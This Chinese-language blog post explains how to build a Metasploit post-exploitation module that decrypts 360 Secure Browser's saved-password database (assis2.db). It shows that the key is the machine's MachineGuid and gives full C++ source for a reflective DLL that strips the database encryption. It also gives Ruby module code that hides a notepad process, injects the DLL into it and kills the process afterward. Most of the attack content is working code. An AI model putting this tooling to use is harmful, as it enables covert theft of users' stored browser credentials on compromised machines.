前言
- 本文不涉及360安全浏览器保持的登录密码的加解密算法分析,仅对模块编写思路讲解。
- 因为360浏览器安全用到了wxsqlite3对保存的登录密码数据库进行了加密,Metasploit的原生模块sqlite3-ruby无法解析wxsqlite3数据库,Railgun又在某些方面不太给力,所以只能自己使用wxsqlite3对数据库进行解密操作后再返回给Metasploit模块。
数据库解密
- 先在浏览器打开
se://login-maganer
,做添加登录帐号密码,监控哪个文件修改了,找到保存登录帐号密码的数据库,发现并不能正常打开,然后队友一顿操作,就把数据库在哪里,用什么数据库,密码是什么,数据库里面的加密算法都告诉我了,数据库文件名叫assis2.db
。
- 因为我们已经知道它会用到wxsqlite3对数据库进行解密操作,所以我们直接搜索找到了一个360安全浏览器里面的一个游戏插件的一个DLL文件,然后对
sqlite3_key
导出表函数下断点。

- sqlite3_key的定义
sqlite3_key(sqlite3 *db, const void *zKey, int nKey)
,第一个参数是打开的数据库,第二个参数是密码,第三个参数是密码的长度。

- 压的第一个参数24转16进制为36,刚好为压入第二个
8b7381f4-4279-4815-9323-504749029486
的长度,所以说这一长串东西就是密码,其实就是当前主机的MachineGuid
。

- 问题来了,怎么在Metasploit中把数据库给解密出来呢?原生模块sqlite3-ruby并不支持解密函数,要想支持解密函数还要重新指定so文件重新编译,想着不可能每一个人的Metasploit环境都要重新编译sqlite3-ruby,所以还是想用C++自己写一个解密的工具,先解密了数据库再做其他东西。
编写解密DLL程序

- 编译成功后,把lib文件和wxsqlite3的include目录的头文件复制到你的项目下。

- 项目的属性里的预处理添加上加解密算法的类型,开启加解密功能
SQLITE_HAS_CODEC=1
CODEC_TYPE=CODEC_TYPE_AES128
SQLITE_CORE
THREADSAFE
SQLITE_SECURE_DELETE
SQLITE_SOUNDEX
SQLITE_ENABLE_COLUMN_METADATA

# define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
# define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
# define _CRT_SECURE_NO_DEPRECATE
# ifndef SQLITE_HAS_CODEC
# define SQLITE_HAS_CODEC
# endif
# include "ReflectiveLoader.c"
# pragma comment(lib,"wxsqlite3.lib") // wxsqlite3需要
extern "C" HINSTANCE hAppInstance;
EXTERN_C IMAGE_DOS_HEADER __ImageBase;
# include <windows.h>
# include <tchar.h>
# include <vector>
# include "wx/wxsqlite3.h"
# include "wx/wxsqlite3opt.h"
# include "wx/sqlite3mc_amalgamation.h"
# define SQLITE3_STATIC
using namespace std;
string RegQueryValueApi(HKEY hKey, const char* lpSubKeyG, const char* KeyValueG)
{
HKEY hKeyResult = NULL;
HKEY hKeyResultG = NULL;
CHAR szLocation[MAX_PATH] = { '\\0' };
CHAR szLocationG[MAX_PATH] = { '\\0' };
DWORD dwSize = 0;
DWORD dwSizeG = 0;
DWORD dwDataType = 0;
DWORD dwDataTypeG = 0;
LONG ret = 0;
LONG retG = 0;
string value;
if (ERROR_SUCCESS == RegOpenKeyExA(hKey, lpSubKeyG, 0, KEY_QUERY_VALUE | KEY_WOW64_64KEY, &hKeyResultG))
{
retG = RegQueryValueExA(hKeyResultG, KeyValueG, 0, &dwDataTypeG, NULL, &dwSizeG);
retG = RegQueryValueExA(hKeyResultG, KeyValueG, 0, &dwDataTypeG, (LPBYTE)&szLocationG, &dwSizeG);
if (ERROR_SUCCESS == ret)
{
value.append(szLocationG);
}
RegCloseKey(hKeyResultG);
}
return value;
}
int ExecutePayload()
{
// 读取MachineGuid
HKEY hKey = HKEY_LOCAL_MACHINE;
const char* lpSubKeyG = "SOFTWARE\\\\MICROSOFT\\\\CRYPTOGRAPHY";
const char* KeyValueG = "MachineGuid";
string szMachineGuid;
szMachineGuid = RegQueryValueApi(hKey, lpSubKeyG, KeyValueG);
int ret = 0;
sqlite3* db = 0;
// 打开数据库
ret = sqlite3_open("<assis2.db 的路径>", &db);
// 解密第一层密码
sqlite3_key(db, szMachineGuid.data(), 36);
// 清除原来的密码
sqlite3_rekey(db, NULL, 0);
sqlite3_close(db);
db = 0;
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
BOOL bReturnValue = TRUE;
switch (dwReason)
{
case DLL_QUERY_HMODULE:
if (lpReserved != NULL)
*(HMODULE *)lpReserved = hAppInstance;
break;
case DLL_PROCESS_ATTACH:
ExecutePayload();
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}
- 编译成功后会生成一个DLL文件,将它拷贝到Metaslpoit的data再创建一个目录,这样就可以在Metaslpoit中调用,内存执行了。
DLL反射注入
- 虽然只解密数据库并没有什么敏感操作,但是还是不想解密工具落地,所以选择了DLL反射注入作为执行扩展功能的实现方法。
- 下面是Metasploit模块的调用DLL反射注入关键代码:
def inject_dll(process, dll_path)
library_path = ::File.expand_path(dll_path)
exploit_mem, offset = inject_dll_into_process(process, library_path)
[exploit_mem, offset]
end
def remove_password
print_status('==> Removing database password...')
dll_path = File.join(Msf::Config.data_directory, 'post', '360', 'remove_password.dll') # data目录下的DLL文件路径
notepad_pathname = get_notepad_pathname(ARCH_X86, client.sys.config.getenv('windir'), client.arch) # 获取32位的记事本路径
notepad_process = client.sys.process.execute(notepad_pathname, nil, 'Hidden' => true) # 隐藏执行记事本
hprocess = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
exploit_mem, offset = inject_dll(hprocess, dll_path) # 注入DLL到进程
hprocess.thread.create(exploit_mem + offset) # 创建线程调用DLL
sleep(5)
client.sys.process.kill(hprocess.pid) # 关闭进程
end
- 由于我只编译了32位的DLL文件,所以只能注入到32位程序的进程中,在这就隐藏打开了32位的记事本,然后将DLL注入到记事本进程中执行,5秒后关闭进程。
操作演示


总结
- 从Meterpreter内置API到可以调用Windows API的Railgun,再到DLL反射注入,三种接口各有各的优点和不足,灵活运用才能写出满足实际需求的模块。
参考
https://github.com/stephenfewer/ReflectiveDLLInjection
https://payloads.online/archivers/2020-03-02/1